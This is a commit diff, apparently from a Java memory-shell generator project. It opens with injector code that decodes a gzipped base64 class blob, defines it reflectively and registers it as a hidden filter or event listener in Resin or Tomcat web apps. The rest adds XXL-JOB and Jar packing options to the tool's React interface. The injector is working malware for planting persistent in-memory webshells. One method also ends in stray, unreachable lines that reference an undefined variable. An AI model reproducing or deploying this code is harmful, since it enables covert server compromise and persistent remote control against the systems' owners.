siwiWBB4CH21vNisw63UqduirE7oBpj0CbSfQEvBnBbynBbApA61hbcTSFCeIm9Yfbsp1S8GpSA/8l51Xz3ipHYDO5JdjWEvsT6LmbLEUJf1RdmWtyfvDz7d+fvMH7E2PGOb/HgL53hGTzcyQmpr4L8biSLMXrXfOoR/gdS4qTE0aTEWK0RUOmGEaRFCH3UPc5Jd3DaACfuw0bcSS33c30HsY3Au7gC3QSpKe4mvI18XsYrgcK9eBWvBRR78TpXSVPswRt4k29Jed7C26T0DscNjhV73mXPPH2B94Lt9P5/M4+oTgUNAAA=";
|
||||
}
|
||||
|
||||
public void addListener(Object context, Object listener) throws Exception {
|
||||
if (!this.isInjected(context, this.getClassName())) {
|
||||
String filedName = "applicationEventListenersObjects";
|
||||
Object applicationEventListenersObjects = getFV(context, filedName);
|
||||
if (applicationEventListenersObjects == null) {
|
||||
filedName = "applicationEventListenersInstances";
|
||||
applicationEventListenersObjects = getFV(context, filedName);
|
||||
}
|
||||
if (applicationEventListenersObjects != null) {
|
||||
Object[] appListeners = (Object[]) applicationEventListenersObjects;
|
||||
if (appListeners != null) {
|
||||
List appListenerList = new ArrayList(Arrays.asList(appListeners));
|
||||
appListenerList.add(listener);
|
||||
setFieldValue(context, filedName, appListenerList.toArray());
|
||||
}
|
||||
} else if (getFV(context, "applicationEventListenersList") != null) {
|
||||
List<Object> appListeners = (List) getFV(context, "applicationEventListenersList");
|
||||
if (appListeners != null) {
|
||||
appListeners.add(listener);
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
public boolean isInjected(Object context, String evilClassName) throws Exception {
|
||||
Object[] objects = (Object[]) invokeMethod(context, "getApplicationEventListeners");
|
||||
List listeners = Arrays.asList(objects);
|
||||
|
||||
for (Object o : new ArrayList(listeners)) {
|
||||
if (o.getClass().getName().contains(evilClassName)) {
|
||||
return true;
|
||||
}
|
||||
}
|
||||
|
||||
return false;
|
||||
}
|
||||
|
||||
public List<Object> getContext() {
|
||||
List<Object> contexts = new ArrayList();
|
||||
Set<Object> visited = new HashSet();
|
||||
|
||||
try {
|
||||
Thread[] threads = (Thread[]) invokeMethod(Thread.class, "getThreads", new Class[0], new Object[0]);
|
||||
for (Thread thread : threads) {
|
||||
if (thread.getClass().getName().contains("Resin")) {
|
||||
Class<?> servletInvocationClass = thread.getContextClassLoader().loadClass("com.caucho.server.dispatch.ServletInvocation");
|
||||
Object contextRequest = servletInvocationClass.getMethod("getContextRequest").invoke(null);
|
||||
Object webApp = invokeMethod(contextRequest, "getWebApp", new Class[0], new Object[0]);
|
||||
if (webApp != null && visited.add(webApp)) {
|
||||
contexts.add(webApp);
|
||||
}
|
||||
}
|
||||
}
|
||||
} catch (Exception e) {
|
||||
// Handle exception
|
||||
}
|
||||
return contexts;
|
||||
|
||||
}
|
||||
|
||||
private Object getFilter(Object context) {
|
||||
Object filter = null;
|
||||
ClassLoader classLoader = Thread.currentThread().getContextClassLoader();
|
||||
if (classLoader == null) {
|
||||
classLoader = context.getClass().getClassLoader();
|
||||
}
|
||||
|
||||
try {
|
||||
filter = classLoader.loadClass(this.getClassName());
|
||||
} catch (Exception var9) {
|
||||
try {
|
||||
byte[] clazzByte = gzipDecompress(decodeBase64(this.getBase64String()));
|
||||
Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, Integer.TYPE, Integer.TYPE);
|
||||
defineClass.setAccessible(true);
|
||||
Class<?> clazz = (Class) defineClass.invoke(classLoader, clazzByte, 0, clazzByte.length);
|
||||
filter = clazz.newInstance();
|
||||
} catch (Throwable e1) {
|
||||
e1.printStackTrace();
|
||||
}
|
||||
}
|
||||
|
||||
return filter;
|
||||
}
|
||||
|
||||
public void addFilter(Object context, Object filter) throws InvocationTargetException, NoSuchMethodException, IllegalAccessException, ClassNotFoundException, InstantiationException {
|
||||
String filterClassName = this.getClassName();
|
||||
|
||||
try {
|
||||
if (invokeMethod(context, "findFilterDef", new Class[]{String.class}, new Object[]{filterClassName}) != null) {
|
||||
return;
|
||||
}
|
||||
} catch (Exception var10) {
|
||||
}
|
||||
|
||||
Object filterDef = Class.forName("org.apache.catalina.deploy.FilterDef").newInstance();
|
||||
Object filterMap = Class.forName("org.apache.catalina.deploy.FilterMap").newInstance();
|
||||
|
||||
try {
|
||||
invokeMethod(filterDef, "setFilterName", new Class[]{String.class}, new Object[]{filterClassName});
|
||||
invokeMethod(filterDef, "setFilterClass", new Class[]{String.class}, new Object[]{filterClassName});
|
||||
invokeMethod(context, "addFilterDef", new Class[]{filterDef.getClass()}, new Object[]{filterDef});
|
||||
invokeMethod(filterMap, "setFilterName", new Class[]{String.class}, new Object[]{filterClassName});
|
||||
invokeMethod(filterMap, "setDispatcher", new Class[]{String.class}, new Object[]{"REQUEST"});
|
||||
invokeMethod(filterMap, "addURLPattern", new Class[]{String.class}, new Object[]{this.getUrlPattern()});
|
||||
Constructor<?>[] constructors = Class.forName("org.apache.catalina.core.ApplicationFilterConfig").getDeclaredConstructors();
|
||||
|
||||
try {
|
||||
invokeMethod(context, "addFilterMapBefore", new Class[]{filterMap.getClass()}, new Object[]{filterMap});
|
||||
} catch (Exception var9) {
|
||||
invokeMethod(context, "addFilterMap", new Class[]{filterMap.getClass()}, new Object[]{filterMap});
|
||||
}
|
||||
|
||||
constructors[0].setAccessible(true);
|
||||
|
||||
try {
|
||||
Object filterConfig = constructors[0].newInstance(context, filterDef);
|
||||
Map filterConfigs = (Map) this.getFieldValue(context, "filterConfigs");
|
||||
filterConfigs.put(filterClassName, filterConfig);
|
||||
} catch (Exception e) {
|
||||
if (!(e.getCause() instanceof ClassNotFoundException)) {
|
||||
throw e;
|
||||
}
|
||||
}
|
||||
} catch (Exception var12) {
|
||||
}
|
||||
|
||||
}
|
||||
|
||||
@Override
|
||||
protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
|
||||
BufferedReader reader = req.getReader();
|
||||
System.out.println(reader.getClass().getName());
|
||||
}
|
||||
|
||||
@Override
|
||||
protected void doPost(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
|
||||
|
||||
}
|
||||
|
||||
@SuppressWarnings("all")
|
||||
public Object getFieldValue(Object obj, String name) throws Exception {
|
||||
Field field = null;
|
||||
Class<?> clazz = obj.getClass();
|
||||
while (clazz != Object.class) {
|
||||
try {
|
||||
field = clazz.getDeclaredField(name);
|
||||
break;
|
||||
} catch (NoSuchFieldException var5) {
|
||||
clazz = clazz.getSuperclass();
|
||||
}
|
||||
}
|
||||
if (field == null) {
|
||||
throw new NoSuchFieldException(name);
|
||||
} else {
|
||||
field.setAccessible(true);
|
||||
return field.get(obj);
|
||||
}
|
||||
BufferedReader reader = req.getReader();
|
||||
System.out.println(reader.getClass().getName());
|
||||
}
|
||||
}
|
||||
|
||||
Binary file not shown.
+4
-4
@@ -13,7 +13,7 @@
|
||||
},
|
||||
"devDependencies": {
|
||||
"@biomejs/biome": "1.9.4",
|
||||
"@tanstack/router-plugin": "^1.97.3",
|
||||
"@tanstack/router-plugin": "^1.97.8",
|
||||
"@types/node": "^22.10.7",
|
||||
"@types/react": "^19.0.7",
|
||||
"@types/react-dom": "^19.0.3",
|
||||
@@ -24,7 +24,7 @@
|
||||
"postcss": "^8.5.1",
|
||||
"tailwindcss": "^3.4.17",
|
||||
"typescript": "^5.7.3",
|
||||
"vite": "^6.0.7"
|
||||
"vite": "^6.0.11"
|
||||
},
|
||||
"dependencies": {
|
||||
"@hookform/resolvers": "^3.10.0",
|
||||
@@ -40,8 +40,8 @@
|
||||
"@radix-ui/react-tabs": "^1.1.2",
|
||||
"@radix-ui/react-tooltip": "^1.1.6",
|
||||
"@tanstack/react-query": "^5.64.2",
|
||||
"@tanstack/react-router": "^1.97.3",
|
||||
"@tanstack/router-devtools": "^1.97.3",
|
||||
"@tanstack/react-router": "^1.97.8",
|
||||
"@tanstack/router-devtools": "^1.97.8",
|
||||
"class-variance-authority": "^0.7.1",
|
||||
"clsx": "^2.1.1",
|
||||
"i18next": "^24.2.1",
|
||||
|
||||
@@ -60,6 +60,16 @@ export function MainConfigCard({
|
||||
} else {
|
||||
setShellTypes([]);
|
||||
}
|
||||
|
||||
if (
|
||||
(value === "SpringWebFlux" || value === "XXLJOB") &&
|
||||
Number.parseInt(form.getValues("targetJdkVersion") as string) < 52
|
||||
) {
|
||||
form.setValue("targetJdkVersion", "52");
|
||||
} else {
|
||||
form.resetField("targetJdkVersion");
|
||||
}
|
||||
form.resetField("bypassJavaModule");
|
||||
form.resetField("shellTool");
|
||||
form.resetField("shellType");
|
||||
}
|
||||
|
||||
@@ -23,6 +23,7 @@ export function PackageConfigCard({
|
||||
const [options, setOptions] = useState<Array<Option>>([]);
|
||||
|
||||
const shellType = form.watch("shellType");
|
||||
const server = form.watch("server");
|
||||
const { t } = useTranslation();
|
||||
|
||||
useEffect(() => {
|
||||
@@ -33,7 +34,10 @@ export function PackageConfigCard({
|
||||
if (shellType.startsWith("Agent")) {
|
||||
return name.startsWith("Agent");
|
||||
}
|
||||
return !name.startsWith("Agent");
|
||||
if (server.startsWith("XXL")) {
|
||||
return !name.startsWith("Agent");
|
||||
}
|
||||
return !name.startsWith("Agent") && !name.toLowerCase().startsWith("xxl");
|
||||
});
|
||||
setOptions(
|
||||
filteredOptions.map((name) => {
|
||||
@@ -46,7 +50,7 @@ export function PackageConfigCard({
|
||||
if (filteredOptions.length > 0) {
|
||||
form.setValue("packingMethod", filteredOptions[0]);
|
||||
}
|
||||
}, [form, packerConfig, shellType, t]);
|
||||
}, [form, packerConfig, server, shellType, t]);
|
||||
|
||||
return (
|
||||
<Card className="w-full">
|
||||
|
||||
@@ -78,6 +78,26 @@ function AgentResult({ packResult, generateResult }: { packResult: string; gener
|
||||
);
|
||||
}
|
||||
|
||||
function JarResult({ packResult, generateResult }: { packResult: string; generateResult?: GenerateResult }) {
|
||||
const { t } = useTranslation();
|
||||
return (
|
||||
<div className="flex items-center justify-center">
|
||||
<Button
|
||||
type="button"
|
||||
onClick={() =>
|
||||
downloadBytes(
|
||||
packResult,
|
||||
undefined,
|
||||
`${generateResult?.shellConfig.server}${generateResult?.shellConfig.shellTool}MemShell`,
|
||||
)
|
||||
}
|
||||
>
|
||||
{t("download")} Jar
|
||||
</Button>
|
||||
</div>
|
||||
);
|
||||
}
|
||||
|
||||
function FeedbackAlert() {
|
||||
const { t } = useTranslation();
|
||||
return (
|
||||
@@ -206,6 +226,7 @@ export function ShellResult({
|
||||
}: { packResult: string; packMethod: string; generateResult?: GenerateResult }) {
|
||||
const showCode = packMethod === "JSP";
|
||||
const isAgent = packMethod.startsWith("Agent");
|
||||
const isJar = packMethod === "Jar";
|
||||
const { t } = useTranslation();
|
||||
return (
|
||||
<Fragment>
|
||||
@@ -220,16 +241,20 @@ export function ShellResult({
|
||||
<div className="mb-4">
|
||||
<BasicInfo generateResult={generateResult} />
|
||||
</div>
|
||||
{!isAgent && (
|
||||
<CodeViewer
|
||||
code={packResult}
|
||||
wrapLongLines={!showCode}
|
||||
showLineNumbers={showCode}
|
||||
language={showCode ? "java" : "text"}
|
||||
height={400}
|
||||
/>
|
||||
{!isAgent && !isJar && (
|
||||
<Fragment>
|
||||
<div className="flex items-center justify-end text-sm text-muted-foreground">({packResult.length})</div>
|
||||
<CodeViewer
|
||||
code={packResult}
|
||||
wrapLongLines={!showCode}
|
||||
showLineNumbers={showCode}
|
||||
language={showCode ? "java" : "text"}
|
||||
height={400}
|
||||
/>
|
||||
</Fragment>
|
||||
)}
|
||||
{isAgent && <AgentResult packResult={packResult} generateResult={generateResult} />}
|
||||
{isJar && <JarResult packResult={packResult} generateResult={generateResult} />}
|
||||
</TabsContent>
|
||||
<TabsContent value="shell" className="mt-4">
|
||||
<Alert>
|
||||
|
||||
@@ -46,9 +46,10 @@ export const resources = {
|
||||
title: "Package Method",
|
||||
packer: {
|
||||
Base64: "Base64",
|
||||
GzipBase64: "GzipBase64",
|
||||
BCEL: "BCEL",
|
||||
JSP: "JSP",
|
||||
JAR: "JAR",
|
||||
Jar: "Jar",
|
||||
EL: "EL",
|
||||
SpEL: "SpEL",
|
||||
OGNL: "OGNL",
|
||||
@@ -59,6 +60,8 @@ export const resources = {
|
||||
AgentJar: "AgentJar",
|
||||
Deserialize: "Deserialize(Only CB4, 1.9.x)",
|
||||
ScriptEngine: "ScriptEngine",
|
||||
XxlJob: "XXL-JOB Executor",
|
||||
XxlJob230: "XXL-JOB (2.3.0+) Executor",
|
||||
},
|
||||
},
|
||||
tips: {
|
||||
@@ -154,18 +157,10 @@ export const resources = {
|
||||
packageConfig: {
|
||||
title: "打包方式",
|
||||
packer: {
|
||||
Base64: "Base64",
|
||||
BCEL: "BCEL",
|
||||
JSP: "JSP",
|
||||
JAR: "JAR",
|
||||
EL: "EL 表达式",
|
||||
SpEL: "SpEL 表达式",
|
||||
OGNL: "OGNL 表达式",
|
||||
MVEL: "MVEL 表达式",
|
||||
Freemarker: "Freemarker",
|
||||
Velocity: "Velocity",
|
||||
Groovy: "Groovy",
|
||||
AgentJar: "AgentJar",
|
||||
Deserialize: "反序列化(仅支持 CB4, 1.9.x)",
|
||||
ScriptEngine: "脚本引擎",
|
||||
},
|
||||
|
||||
Reference in New Issue
Block a user